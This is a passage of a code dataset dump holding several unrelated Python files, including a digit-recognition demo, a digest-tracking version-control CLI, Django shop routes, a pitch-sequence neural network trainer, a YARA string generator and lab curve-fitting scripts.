# 调整图片为28*28\n\n# 白底黑字 -> 黑底白字\nimg = abs(255-img)\n\n# Normalization\nimg = img/255\nimg = (img-0.5)/0.5\n\n# dst = np.zeros(img.shape, dtype=np.float64) # 返回形状和img相同的,全部用0填充的numpy数组\n# img = cv2.normalize(img, dst=dst, alpha=0, beta=1.0, norm_type=cv2.NORM_MINMAX)\n\nplt.imshow(img, cmap='gray')\nplt.show()\n\n# 图片转换与预测\nimg = torch.from_numpy(img).float() # 将img 从numpy类型转为torch类型,并限定数据元类型为float\n# [100, 1, 28, 28]\nimg = img.view(1, 1, 28, 28) # 改变维度,用于对应神经网络的输入\n\nimg = img.to(device) # 将img内容copy一份放到GPU上去\n\n\n# 加载模型\nnet = torch.load(model_path)\nnet.to(device)\n\n\noutputs = net(img) # 将测试的图片输入网络中img\n\n# 原始计算数据\nprobability, predicted = torch.max(outputs.data, 1) # 0是列最大值,1是行最大值;return(每行最大值,最大值的索引)\nprint(outputs.to('cpu').detach().numpy().squeeze()) # 输出概率数组\nprint(\"the probability of this number being {} is {}\"\n .format(predicted.to('cpu').numpy().squeeze(),\n probability.to('cpu').numpy().squeeze())) # 预测结果\n\n# 归一化\nsoftmax = nn.Softmax(dim = 1)\nprob_matrix = softmax(outputs)\nprob_matrix = prob_matrix.to('cpu').detach().numpy().squeeze()\nlabel = predicted.to('cpu').item()\nprint(prob_matrix) # 输出概率数组\nprint(\"the probability of this number being {} is {:0.4f}%\"\n .format(label, prob_matrix[label]*100)) # 预测结果\n\n\n\n\n#\n# # 白底黑字 -> 黑底白字\n# img = abs(255-img)\n#\n#\n#\n# # Normalization\n\n#","repo_name":"Muhongfan/MLE","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":5816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32101354997","text":"import click\nfrom datetime import datetime\nimport logging\nimport os\nimport pygit2\nimport sys\n\nfrom . import Error\nfrom . import gittools\nfrom . import hashing\nfrom . import repository\nfrom .aux.plain import PlainAuxStore\n\nlogger = logging.getLogger(__name__)\n\ndef init_logging(debug=False):\n formatter = logging.Formatter('%(asctime)s.%(msecs)03d [%(name)s] %(message)s',\n datefmt='%H:%M:%S')\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n root_logger = logging.getLogger()\n if debug:\n handler.setLevel(logging.DEBUG)\n root_logger.setLevel(logging.DEBUG)\n else:\n handler.setLevel(logging.INFO)\n root_logger.setLevel(logging.INFO)\n root_logger.addHandler(handler)\n\ndef find_upward(path, name, test=os.path.exists):\n current = path\n while current != os.path.dirname(current) \\\n and not test(os.path.join(current, name)):\n current = os.path.dirname(current)\n\n if current == os.path.dirname(current):\n return None\n else:\n return current\n\ndef format_path_change(old_path, new_path):\n common_prefix = os.path.commonpath([old_path, new_path])\n if common_prefix:\n old_unique = old_path[len(common_prefix) + 1:]\n new_unique = new_path[len(common_prefix) + 1:]\n else:\n old_unique = old_path\n new_unique = new_path\n\n common_suffix = ''\n while True:\n old_unique_h, old_unique_t = os.path.split(old_unique)\n new_unique_h, new_unique_t = os.path.split(new_unique)\n if old_unique_t != new_unique_t:\n break\n common_suffix = os.path.join(old_unique_t, common_suffix)\n old_unique = old_unique_h\n new_unique = new_unique_h\n\n if not old_unique or not new_unique:\n if common_prefix:\n common_prefix_h, common_prefix_t = os.path.split(common_prefix)\n old_unique = os.path.normpath(os.path.join(common_prefix_t, old_unique))\n new_unique = os.path.normpath(os.path.join(common_prefix_t, new_unique))\n common_prefix = common_prefix_h\n elif common_suffix:\n common_suffix_lead, common_suffix_rest = common_suffix.split(os.sep, maxsplit=1)\n old_unique = os.path.join(old_unique, common_suffix_lead)\n new_unique = os.path.join(new_unique, common_suffix_lead)\n common_suffix = common_suffix_rest\n else:\n assert False\n\n if common_prefix or common_suffix:\n retv = os.path.join(common_prefix,\n '{' + old_unique + ' -> ' + new_unique + '}',\n common_suffix)\n retv = retv.rstrip(os.path.sep)\n else:\n retv = old_path + ' -> ' + new_path\n\n return retv\n\ndef diff_filter_is_valid(filter):\n return filter and (filter.upper() == filter or filter.lower() == filter)\n\ndef diff_filter_matches(filter, delta_status):\n assert diff_filter_is_valid(filter)\n\n status_code = gittools.DELTA_STATUS_CODE[delta_status]\n if filter[0].isupper():\n return status_code in filter\n else:\n return status_code.lower() not in filter\n\ndef format_diff(repo, git_diff, abbreviate=True, obey_cwd=True, filter=None):\n for delta in git_diff.deltas:\n if filter and not diff_filter_matches(filter, delta.status):\n continue\n\n if obey_cwd:\n old_path = os.path.relpath(os.path.join(repo.path, delta.old_file.path))\n new_path = os.path.relpath(os.path.join(repo.path, delta.new_file.path))\n else:\n old_path = delta.old_file.path\n new_path = delta.new_file.path\n\n if delta.old_file.path == delta.new_file.path:\n path_info = old_path\n else:\n path_info = format_path_change(old_path, new_path)\n\n if delta.similarity != 100 and delta.status != pygit2.GIT_DELTA_ADDED:\n old_blob = repo.git.get(delta.old_file.id)\n old_digest = old_blob.data.decode().strip()\n else:\n old_digest = '-'\n\n digest_size = hashing.digest_size(abbreviate)\n\n yield ' {status:{status_w}} {old_digest:{digest_w}} {path_info}\\n'.format(\n status=gittools.DELTA_STATUS_NAME[delta.status] + ':',\n status_w=gittools.DELTA_STATUS_MAX_LENGTH + 1,\n old_digest=old_digest[0:digest_size],\n digest_w=digest_size,\n path_info=path_info)\n\ndef format_raw_diff(repo, git_diff, null_terminated=False, filter=None):\n if null_terminated:\n path_separator = '\\0'\n record_separator = '\\0'\n else:\n path_separator = '\\t'\n record_separator = '\\n'\n\n for delta in git_diff.deltas:\n if filter and not diff_filter_matches(filter, delta.status):\n continue\n\n old_path = delta.old_file.path\n new_path = delta.new_file.path\n\n if delta.old_file.path == delta.new_file.path:\n path_info = old_path\n else:\n path_info = old_path + path_separator + new_path\n\n if delta.similarity != 100 and delta.status != pygit2.GIT_DELTA_ADDED:\n old_blob = repo.git.get(delta.old_file.id)\n old_digest = old_blob.data.decode().strip()\n else:\n old_digest = '-'\n\n digest_size = hashing.digest_size()\n\n yield '{status} {old_digest:{digest_w}}{path_sep}{path_info}{record_sep}'.format(\n status=gittools.DELTA_STATUS_CODE[delta.status],\n old_digest=old_digest[0:digest_size],\n digest_w=digest_size,\n path_sep=path_separator,\n path_info=path_info,\n record_sep=record_separator)\n\nclass ErrorHandlingGroup(click.Group):\n def __call__(self, *args, **kwargs):\n try:\n super().__call__(*args, **kwargs)\n except Error as e:\n click.ClickException(e).show()\n sys.exit(1)\n\nclass DiscoveredRepository(repository.Repository):\n def __init__(self):\n root_dir = find_upward(os.getcwd(), repository.SOD_DIR, test=os.path.isdir)\n if not root_dir:\n raise click.ClickException('Not a sod repository')\n\n super().__init__(root_dir)\n\npass_repository = click.make_pass_decorator(DiscoveredRepository, ensure=True)\n\n@click.group(cls=ErrorHandlingGroup)\n@click.option('--debug', is_flag=True, help='Enable debugging output')\ndef cli(debug):\n \"\"\"sod - a digest tracker\n\n Sod is a special-purpose revision control system focused on efficient and\n transparent large file support at the cost of limited rollback ability.\n\n Motto: What are backups for if you do not review what you back up?\n\n In contrast to total data loss, partial data loss or corruption as the\n possible result of incidents ranging from user errors to data degradation\n (bit rot) easily goes unnoticed long enough to propagate into backups and\n eventually destroy the last available copy of the original data.\n\n Protecting data integrity using conventional means is not always feasible.\n Consider a large collection of binary files like media files maintained on\n a laptop. Available storage may be too limited for RAID implementation.\n Similar is the situation with conventional revision control systems, which\n usually keep a pristine copy of each managed file, and those that don't\n may store repository files primarily in a private area and expose them\n using (symbolic) links, breaking transparency. Detecting changes by\n comparing data to (remote) backups may be too slow for regular use and\n backups may not be always accessible.\n\n Sod approaches this by tracking nothing but cryptographic digests of the\n actual data (Efficient), keeping the actual data intact (Transparent) and\n relying on auxiliary data stores for rollback purposes (Limited\n rollback).\n\n Sod is meant for single-user, single-history use - it provides no means of\n replicating history between repositories or maintaining alternate\n histories (Special-purpose).\n\n\n INITIALIZATION\n\n Sod repository can be initialized with the 'sod init' command executed\n under an existing directory. Sod will store its data under a subdirectory\n named '.sod'. Initially, a Sod repository has no history. Any\n pre-existing files found under the repository at initialization time are\n treated equally as files appearing later after initialization.\n\n\n RECORDING CHANGES\n\n Changes since the last commit, as well as the initially untracked content\n under a freshly initialized repository, can be listed with the 'sod\n status' command.\n\n Recording changes is a two phase process. First the changes to be\n recorded with the next commit are prepared (staged) with the 'sod add'\n command. Changes can be added step-by-step with multiple 'sod add'\n invocations and any change previously staged can be unstaged with the 'sod\n reset' command during this preparation phase. The 'sod status' command\n lists changes that are staged for next commit separately from those that\n are not staged.\n\n Once finished, the staged changes can be recorded with the 'sod commit'\n command. All commits in repository history can be listed with the 'sod\n log' command.\n\n\n UNDOING CHANGES\n\n If a particular revision of a file is to be restored, the digest recorded\n by Sod can be used to locate an exact copy of that file revision e.g. on\n a backup. Sod can assist that with the 'sod restore' command, accompanied\n by the 'sod aux' group of commands for management of the so called\n auxiliary data stores, the possible sources of older file revisions.\n\n An auxiliary data store provides one or more snapshots of the original Sod\n repository together with an information on which revision the snapshot was\n taken at (or more correctly \"taken after\" - a snapshot taken while\n uncommitted changes existed does not fully match the said revision).\n\n In the output of the 'sod log' command, each revision with snapshots\n available is annotated with the snapshots listed as\n '[/]', omitting the optional part for stores\n providing just single snapshot.\n\n The simplest form of an auxiliary data store is a plain copy of the\n original Sod repository. It may be a local copy or a remote one, in the\n latter case accessed via SSH. Use 'sox aux add --help-types' to learn about\n the possible auxiliary data store types.\n\n \"\"\"\n\n if not cli.initialized:\n init_logging(debug=debug)\n repository.AuxStore.register_type(PlainAuxStore)\n cli.initialized = True\n\n# FIXME Properly allow invoking cli repeatedly (e.g. for testing)\ncli.initialized = False\n\n@cli.command()\ndef init():\n \"\"\"Initialize a sod repository under the current working directory.\"\"\"\n repository.Repository.initialize(os.getcwd())\n\n@cli.command()\n@click.option('--staged', is_flag=True, help='Only check the index')\n@click.option('-r', '--rehash', is_flag=True, help='Do not use cached digests')\n@click.option('--abbrev/--no-abbrev', default=True, help='Abbreviate old content digest')\n@click.option('--rename-limit', default=repository.DIFF_RENAME_LIMIT,\n help='Maximum number of file renames to try to detect')\n@click.argument('paths', nargs=-1)\n@pass_repository\ndef status(repository, staged, rehash, abbrev, rename_limit, paths):\n \"\"\"Summarize changes since last commit.\"\"\"\n abspaths = tuple(map(os.path.abspath, paths))\n repository.DIFF_RENAME_LIMIT = rename_limit\n\n diff_cached = repository.diff_staged(abspaths)\n\n if not staged:\n diff_not_staged = repository.diff_not_staged(abspaths, rehash)\n\n click.echo('Changes staged for commit:')\n click.echo(''.join(format_diff(repository, diff_cached, abbreviate=abbrev)))\n\n if not staged:\n click.echo('Changes not staged for commit:')\n click.echo(''.join(format_diff(repository, diff_not_staged, abbreviate=abbrev)))\n\n@cli.command()\n@click.argument('paths', nargs=-1)\n@pass_repository\ndef add(repository, paths):\n \"\"\"Stage changes for recording with next commit.\"\"\"\n abspaths = tuple(map(os.path.abspath, paths))\n repository.add(abspaths)\n\n@cli.command()\n@click.argument('paths', nargs=-1)\n@pass_repository\ndef reset(repository, paths):\n \"\"\"Reset changes staged for recording with next commit.\"\"\"\n abspaths = tuple(map(os.path.abspath, paths))\n repository.reset(abspaths)\n\n@cli.command()\n@click.option('-m', '--message', help='Commit message')\n@pass_repository\ndef commit(repository, message):\n \"\"\"Record changes to the repository.\"\"\"\n repository.commit(message)\n\n@cli.command()\n@click.option('--abbrev/--no-abbrev', default=True, help='Abbreviate old content digest')\n@click.option('--rename-limit', default=repository.DIFF_RENAME_LIMIT,\n help='Maximum number of file renames to try to detect')\n@pass_repository\ndef log(repository, abbrev, rename_limit):\n \"\"\"Show commit log.\"\"\"\n repository.DIFF_RENAME_LIMIT = rename_limit\n\n try:\n head = repository.git.head.target\n except pygit2.GitError:\n raise Error('No commit found')\n\n def format_commit(commit, snapshots, diff):\n refs = [snapshot.reference for snapshot in snapshots]\n if commit.id == head:\n refs.insert(0, 'HEAD')\n\n if refs:\n decoration = ' (' + ', '.join(refs) + ')'\n else:\n decoration = ''\n\n yield 'commit {}{}\\n'.format(commit.id, decoration)\n yield 'Date: {:%c}\\n'.format(datetime.fromtimestamp(commit.commit_time))\n yield '\\n'\n yield ' {}\\n'.format(commit.message)\n yield '\\n'\n yield from format_diff(repository, diff, abbreviate=abbrev, obey_cwd=False)\n yield '\\n'\n\n def format_log(log):\n for commit, snapshots, diff in log:\n yield from format_commit(commit, snapshots, diff)\n\n click.echo_via_pager(format_log(repository.log(head)))\n\n@cli.command()\n@click.option('--abbrev/--no-abbrev', default=True, help='Abbreviate old content digest')\n@click.option('--raw', is_flag=True, help='''Output in a format suitable for parsing.\n Implies '--no-abbrev'.''')\n@click.option('--null-terminated', is_flag=True, help='''Use NULs as output fields terminators.\n Implies '--raw'.''')\n@click.option('--filter', help='''Limit output to files that were Added (A),\n Copied (C), Deleted (D), Modified (M) or Renamed (R). Multiple filter\n characters may be passed. Pass lower-case characters to select the\n complement.''')\n@click.option('--rename-limit', default=repository.DIFF_RENAME_LIMIT,\n help='Maximum number of file renames to try to detect')\n@click.argument('old-commit')\n@click.argument('new-commit', default='HEAD')\n@pass_repository\ndef diff(repository, abbrev, raw, null_terminated, filter, rename_limit, old_commit, new_commit):\n \"\"\"Show differences between two commits. New commit defaults to 'HEAD'.\n\n When '--raw' is used, the output format is:\n\n STATUS_LETTER ' ' OLD_DIGEST '' OLD_PATH ['' NEW_PATH] ''\n\n When '--raw' and '--null-terminated' is used, the output format is:\n\n STATUS_LETTER ' ' OLD_DIGEST '' OLD_PATH ['' NEW_PATH] ''\n\n Possible STATUS_LETTER is any of the letters the '--filter' option accepts.\n \"\"\"\n if filter and not diff_filter_is_valid(filter):\n raise Error('Not a valid filter string: ' + filter)\n\n repository.DIFF_RENAME_LIMIT = rename_limit\n\n diff = repository.diff(old_commit, new_commit)\n\n if null_terminated:\n raw = True\n\n if raw:\n print(*format_raw_diff(repository, diff,\n null_terminated=null_terminated, filter=filter), sep='', end='')\n else:\n click.echo_via_pager(format_diff(repository, diff, abbreviate=abbrev,\n obey_cwd=False, filter=filter))\n\n@cli.group()\ndef aux():\n \"\"\"Manage auxiliary data stores.\"\"\"\n pass\n\n@aux.command()\n@pass_repository\ndef list(repository):\n \"\"\"List auxiliary data stores.\"\"\"\n for store in repository.aux_stores:\n click.echo(store.name + ' ' + store.url + ' (' + store.type_name() + ')')\n\n@aux.command()\n@click.argument('name')\n@click.argument('url')\n@click.option('--type', 'store_type', metavar='TYPE', default=PlainAuxStore.type_name(),\n help='Store type')\n@pass_repository\ndef add(repository, name, url, store_type):\n \"\"\"Add an auxiliary data store.\n\n Available types:\n\n plain\n \"\"\"\n repository.aux_stores.create(store_type, name, url)\n\n@aux.command()\n@click.argument('name')\n@pass_repository\ndef remove(repository, name):\n \"\"\"Remove an auxiliary data store.\"\"\"\n repository.aux_stores.delete(name)\n\n@aux.command()\n@click.option('--all', 'update_all', is_flag=True, help='Update all auxiliary data stores')\n@click.argument('name', required=False)\n@pass_repository\ndef update(repository, update_all, name):\n \"\"\"Update an auxiliary data store.\"\"\"\n if name:\n repository.aux_stores.update([name])\n elif update_all:\n repository.aux_stores.update()\n else:\n raise click.UsageError('No store selected')\n\n@cli.command()\n@click.argument('path')\n@click.argument('ref-ish', required=False)\n@click.option('--from', 'aux_store', help='Choose particular auxiliary data store to restore from')\n@pass_repository\ndef restore(repository, path, ref_ish, aux_store):\n \"\"\"Restore data from an auxiliary data store.\"\"\"\n abspath = os.path.abspath(path)\n repository.restore(abspath, ref_ish, aux_store)\n","repo_name":"martyone/sod","sub_path":"sod/sod.py","file_name":"sod.py","file_ext":"py","file_size_in_byte":17436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26040303573","text":"from django.conf.urls import url, include\nfrom django.contrib.auth.models import User\nfrom django.contrib import admin\n\nfrom applications.startupconfort.views.checkout import (\n BraintreePaymentProcessFormView,\n ViewCheckoutFormView,\n SussessfullTemplateView,\n BillingView,\n)\nfrom applications.startupconfort.views.base import (\n StartupConfortHomePageView,\n StartupProducteDetailView,\n VoteUpOrDownView,\n AboutUs,\n)\n\nfrom applications.startupconfort.views.cart import (\n AddToCartView,\n ShowCartItemsListView,\n CartItemQuantityUpdateView,\n CartItemDeleteView,\n)\n\nfrom applications.startupconfort.views.shipping import (\n ShippingAddressCreateView,\n ShippingAddressUpdateView,\n)\n\n# Wire up our API using automatic URL routing.\n# Additionally, we include login URLs for the browsable API.\nurlpatterns = [\n\n url(r'^billing/$',\n BillingView.as_view(),\n name='billing'),\n\n url(r'^checkout/$',\n BraintreePaymentProcessFormView.as_view(),\n name='checkout_braintree'),\n url(r'^successfull_payment/$',\n SussessfullTemplateView.as_view(),\n name='successfull_payment'),\n\n\n url(r'^payment_preprocess/$',\n ViewCheckoutFormView.as_view(),\n name='checkout_view'),\n\n\n\n\n\n #voteUpOrDown\n url(r'^voteUpOrDown/(?P[-\\w]+)/$',\n VoteUpOrDownView.as_view(),\n name='voteUpOrDown'),\n\n url(r'^addtocart/(?P[-\\w]+)/$',\n AddToCartView.as_view(),\n name='addProductToCart'),\n\n url(r'^update_quantity/(?P\\d+)/$',\n CartItemQuantityUpdateView.as_view(),\n name='update_quantity'),\n url(r'^myCart/$',\n ShowCartItemsListView.as_view(),\n name='my_shopping_cart'),\n\n url(r'^about/$',\n AboutUs.as_view(),\n name='about'),\n\n url(r'^shipping_address_update/(?P\\d+)/$',\n ShippingAddressUpdateView.as_view(),\n name=\"shipping_address_update\"),\n url(r'^shipping_address_create/$',\n ShippingAddressCreateView.as_view(),\n name='shipping_address_create'),\n\n url(r'^delete/(?P\\d+)/$',\n CartItemDeleteView.as_view(),\n name=\"delete_this_item\"),\n \n url(r'^(?P[-\\w]+)/$',\n StartupProducteDetailView.as_view(),\n name='product_detail'),\n url(r'^',\n StartupConfortHomePageView.as_view(),\n name='homepage'),\n]\n","repo_name":"guinslym/python-color-palette","sub_path":"applications/startupconfort/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13969719521","text":"import numpy,sys\nimport matplotlib,matplotlib.pyplot\n\nmatplotlib.rcParams.update({'font.size':18,'font.family':'Arial','xtick.labelsize':14,'ytick.labelsize':14})\nmatplotlib.rcParams['pdf.fonttype']=42\n\n# read data\nproportions={}\n\nf=open('worldColors.eigengenes.txt','r')\nfor line in f:\n v=line.split('\\t')\n dayLabel=v[0]\n elements=v[1].split(',')\n states=[int(element) for element in elements]\n proportions[dayLabel]=states\nf.close()\n\nprint(proportions)\n\n\n# compute proportions\ncellStates=list(range(0,11))\n\n\ndynamics=[]\nfor dayLabel in proportions.keys():\n print(dayLabel)\n states=proportions[dayLabel]\n print(states[:50])\n \n numberOfCells=len(states)\n print(numberOfCells)\n\n\n percentages=[]\n for element in cellStates:\n p=int((100*states.count(element))/numberOfCells)\n percentages.append(p)\n \n dynamics.append(percentages)\n \n print()\n\n# plot\nD=numpy.array(dynamics)\nD=numpy.transpose(D)\n\nimport scipy,scipy.cluster,scipy.cluster.hierarchy\nscipy.cluster.hierarchy.linkage(D)\n\nsys.exit()\n\nmatplotlib.pyplot.imshow(D,cmap='viridis')\ncb=matplotlib.pyplot.colorbar(label='Cell state %',orientation='vertical',fraction=0.1) # need to improve label font size\ncb.ax.tick_params(labelsize=20)\ncb.ax.set_yticklabels([2**element for element in [3,4,5,6]])\nmatplotlib.pyplot.grid(False)\n\n \nmatplotlib.pyplot.tight_layout()\nmatplotlib.pyplot.tick_params(axis='x',which='both',bottom='off',top='off')\nmatplotlib.pyplot.tick_params(axis='y',which='both',right='off',left='off')\nmatplotlib.pyplot.axes().set_aspect('equal')\n#matplotlib.pyplot.xlabels(['control',d])\n\nlabels=['ctl','d3','d6','d13','d17','d24']\n\nmatplotlib.pyplot.xticks(range(len(labels)),labels,size=18,rotation=33)\nmatplotlib.pyplot.ylabel('Cell states')\n\nmatplotlib.pyplot.savefig('dynamics.pdf')\nprint(dynamics)\n\n\n","repo_name":"adelomana/malko","sub_path":"visualization/proportions.py","file_name":"proportions.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"8382021757","text":"### DNN Model for Conditional Pitch Sequencing; One-Hot Encoded Context\n### Author: Connor Turner\n\n### Suppress irrelevant messages in output:\n\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n\n### Import relevant modules and functions:\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow import keras\nfrom keras import layers, optimizers\nfrom keras.losses import CategoricalCrossentropy\n\n\n### Import the data:\n\nmodel_training_data = pd.read_csv('dnn_ohe_model_data.csv')\nmodel_training_data = model_training_data[model_training_data['game_year'] == 2021]\n\n\n### Initialize vectors to record model performance:\n\npitcher_ids = np.unique(model_training_data['pitcher_id'])[:30]\npitcher_names = model_training_data[model_training_data['pitcher_id'].isin(pitcher_ids)]['pitcher_name'].unique()\nsample_size = np.zeros((len(pitcher_ids),))\ntraining_accuracies = np.zeros((len(pitcher_ids),))\ntesting_accuracies = np.zeros((len(pitcher_ids),))\nbest_epochs = np.zeros((len(pitcher_ids),))\narsenal_size = np.zeros((len(pitcher_ids),))\n\n\n### Train model for each pitcher:\n\nfor pitcher in pitcher_ids:\n \n ### Record relevant information and pre-process data:\n\n print(f\"\\n{pitcher_names[np.where(pitcher_ids == pitcher)[0][0]]}:\\n\")\n data = model_training_data[model_training_data['pitcher_id'] == pitcher]\n pitches = data.iloc[:,-7:].values\n pitch_totals = np.sum(pitches, axis = 0)\n drop_axes = np.where(pitch_totals == 0)[0]\n sample_size[np.where(pitcher_ids == pitcher)] = pitches.shape[0]\n num_pitches = len(np.delete(pitch_totals, drop_axes))\n arsenal_size[np.where(pitcher_ids == pitcher)] = num_pitches\n dropped_cols = []\n\n for c in range(1,8):\n if np.sum(data[f'p_{c}'].values) == 0:\n dropped_cols.append(f'p_p{c}')\n dropped_cols.append(f'b_p{c}')\n dropped_cols.append(f'pp1_{c}')\n dropped_cols.append(f'pp2_{c}')\n dropped_cols.append(f'pp3_{c}')\n dropped_cols.append(f'p_{c}')\n filtered_data = data.drop(columns = dropped_cols)\n x_values = filtered_data.iloc[:,8:-num_pitches].values\n y_values = filtered_data.iloc[:,-num_pitches:].values\n\n train_x, test_x, train_y, test_y = train_test_split(x_values, y_values, random_state = 12345)\n\n\n ### Build DNN model:\n \n # Model inputs\n pitch_features = layers.Input(shape = (train_x.shape[1],))\n\n # Dense neural network layers\n dense_1 = layers.Dense(256, activation = 'relu')(pitch_features) # Dense layer with ReLU activation\n bn_1 = layers.BatchNormalization()(dense_1) # Batch normalization layer\n drop_1 = layers.Dropout(rate = 0.2)(bn_1) # Dropout layer\n dense_2 = layers.Dense(256, activation = 'relu')(drop_1)\n bn_2 = layers.BatchNormalization()(dense_2)\n drop_2 = layers.Dropout(rate = 0.2)(bn_2)\n dense_3 = layers.Dense(256, activation = 'relu')(drop_2) \n bn_3 = layers.BatchNormalization()(dense_3)\n drop_3 = layers.Dropout(rate = 0.2)(bn_3)\n dense_4 = layers.Dense(128, activation = 'relu')(drop_3) \n bn_4 = layers.BatchNormalization()(dense_4)\n drop_4 = layers.Dropout(rate = 0.1)(bn_4)\n dense_5 = layers.Dense(64, activation = 'relu')(drop_4)\n output = layers.Dense(num_pitches, activation = 'softmax')(dense_5) # Output layer with softmax activation\n\n\n ### Compile and fit the model to the data:\n\n model = keras.Model(inputs = pitch_features, outputs = output)\n model.compile(optimizer = optimizers.Adam(learning_rate = 0.0001), loss = CategoricalCrossentropy(), metrics = ['accuracy'])\n history = model.fit(train_x, train_y, epochs = 20, batch_size = 32, validation_data = (test_x, test_y))\n\n\n ### Record training and testing accuracies:\n\n train_accuracy = np.round(history.history['accuracy'][np.argmax(history.history['val_accuracy'])], 4)\n test_accuracy = np.round(history.history['val_accuracy'][np.argmax(history.history['val_accuracy'])], 4)\n best_epoch = np.argmax(history.history['val_accuracy'])\n\n\n ### Report results of training:\n\n training_accuracies[np.where(pitcher_ids == pitcher)] = train_accuracy\n testing_accuracies[np.where(pitcher_ids == pitcher)] = test_accuracy\n best_epochs [np.where(pitcher_ids == pitcher)] = best_epoch\n\n\n### Report the results of the models:\n\nprint(\"\\n--------------------\\n\\n Training Results\\n\\n--------------------\\n\")\nprint(f\"Lowest Training Accuracy: {pitcher_names[np.argmin(training_accuracies)]} - {np.round(training_accuracies[np.argmin(training_accuracies)] * 100, 2)}%\")\nprint(f\"Highest Training Accuracy: {pitcher_names[np.argmax(training_accuracies)]} - {np.round(training_accuracies[np.argmax(training_accuracies)] * 100, 2)}%\")\nprint(f\"Mean Training Accuracy: {np.round(np.mean(training_accuracies) * 100, 2)}%\")\nprint(f\"Training Accuracy SD: {np.round(np.std(training_accuracies) * 100, 2)}\\n\")\n\nprint(f\"Lowest Testing Accuracy: {pitcher_names[np.argmin(testing_accuracies)]} - {np.round(testing_accuracies[np.argmin(testing_accuracies)] * 100, 2)}%\")\nprint(f\"Highest Testing Accuracy: {pitcher_names[np.argmax(testing_accuracies)]} - {np.round(testing_accuracies[np.argmax(testing_accuracies)] * 100, 2)}%\")\nprint(f\"Mean Testing Accuracy: {np.round(np.mean(testing_accuracies) * 100, 2)}%\")\nprint(f\"Testing Accuracy SD: {np.round(np.std(testing_accuracies * 100), 2)}\")\nprint(f\"Mean Best Epoch: {np.round(np.mean(best_epochs))}\\n\\n--------------------\\n\")","repo_name":"connorbturner/Pitch-Sequence-Model","sub_path":"PSM_DNN_OHE.py","file_name":"PSM_DNN_OHE.py","file_ext":"py","file_size_in_byte":5587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24386986452","text":"import argparse\nimport math\n\n\ndef run(path: str, prefix: str = \"string\", wide: bool = False):\n with open(path, \"r\") as r:\n lines = r.readlines()\n total = len(lines)\n nr = 1\n for line in lines:\n line = line.strip()\n if not line:\n continue\n w = \" wide\" if wide else \"\"\n line = line.replace(\"\\\\\", \"\\\\\\\\\")\n line = line.replace('\"', \"\\\\\\\"\")\n nrf = str(nr).zfill(int(math.log10(total)+1))\n pattern = f'${prefix}_{nrf} = \"{line}\"{w}'\n print(pattern)\n nr += 1\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\"generate yara strings from file\")\n parser.add_argument(\"input\", help=\"input file\")\n parser.add_argument(\n \"-p\", \"--prefix\", help=\"string prefix\", default=\"string\")\n parser.add_argument(\"-w\", \"--wide\", action=\"store_true\",\n help=\"wide strings\")\n args = parser.parse_args()\n run(path=args.input, prefix=args.prefix, wide=args.wide)\n","repo_name":"baderj/yara","sub_path":"scripts/makestrings.py","file_name":"makestrings.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"18074215672","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 20 11:06:14 2018\n\n@author: jlm7\n\"\"\"\n\nfrom curve_fitting import determine_tc\nimport csv\nimport os\n\nfull_path = os.path.expanduser('H:\\Documents\\Tc Measurement Data\\RampT\\Raw Data\\\\2018_04_12_12_42_26.csv')\ntxt_file = os.path.expanduser('H:\\Documents\\Tc Measurement Data\\RampT\\Graph\\\\2018_04_12.txt')\ngraph_file = os.path.expanduser('H:\\Documents\\Tc Measurement Data\\RampT\\Graph\\\\2018_04_12.png')\nchannel = 6\ntime = [[],[],[],[],[],[]]\ntemp = [[],[],[],[],[],[]]\nres = [[],[],[],[],[],[]]\ntc_guess = [0,0,0,0,0,0] # set one of these to a non zero value if the fit line doesn't fit well. Default is 6\ntc_negative = [0,0,0,0,0,1] # set one of these to 1 if the data is negative for some reason\ntc_offset = [0,0,0,0,0,-10] #set one of these to the value need to get the superconducting to 0. This is probably needed if something is negative\n\n#%% read data from CSV file\nwith open(full_path, \"r\", newline='') as output:\n reader = csv.reader(output,delimiter=',')\n for row in reader:\n if '#' not in row[0]:\n time[int(row[1])-1].append(float(row[0]))\n temp[int(row[1])-1].append(float(row[2]))\n if(tc_negative[int(row[1])-1]):\n res[int(row[1])-1].append(-1*float(row[3]) + tc_offset[int(row[1])-1])\n else:\n res[int(row[1])-1].append(float(row[3]) + tc_offset[int(row[1])-1])\n\n \n\ntc_data = [[],[],[],[],[],[],[]]\nfor l in range (6):\n print(\"====================================\\n\\n\\nChannel :\", l+1)\n if(tc_guess[l] != 0):\n tc_data[l] = determine_tc(temp[l], res[l],(l+1),txt_file, graph_file, tc_guess[l])\n else:\n tc_data[l] = determine_tc(temp[l], res[l],(l+1),txt_file, graph_file)\n if(tc_data[l].valid == True):\n tc_data[l].calc_all()\n else:\n print(\"No Data for Channel \", (l+1))\n","repo_name":"melonisj/python-nist","sub_path":"TC_data/curve_fit_test.py","file_name":"curve_fit_test.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34304395062","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('core', '0010_auto_20170228_2038'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='question',\n options={'ordering': ('summary_order',)},\n ),\n migrations.AddField(\n model_name='question',\n name='summary_order',\n field=models.IntegerField(default=1),\n preserve_default=False,\n 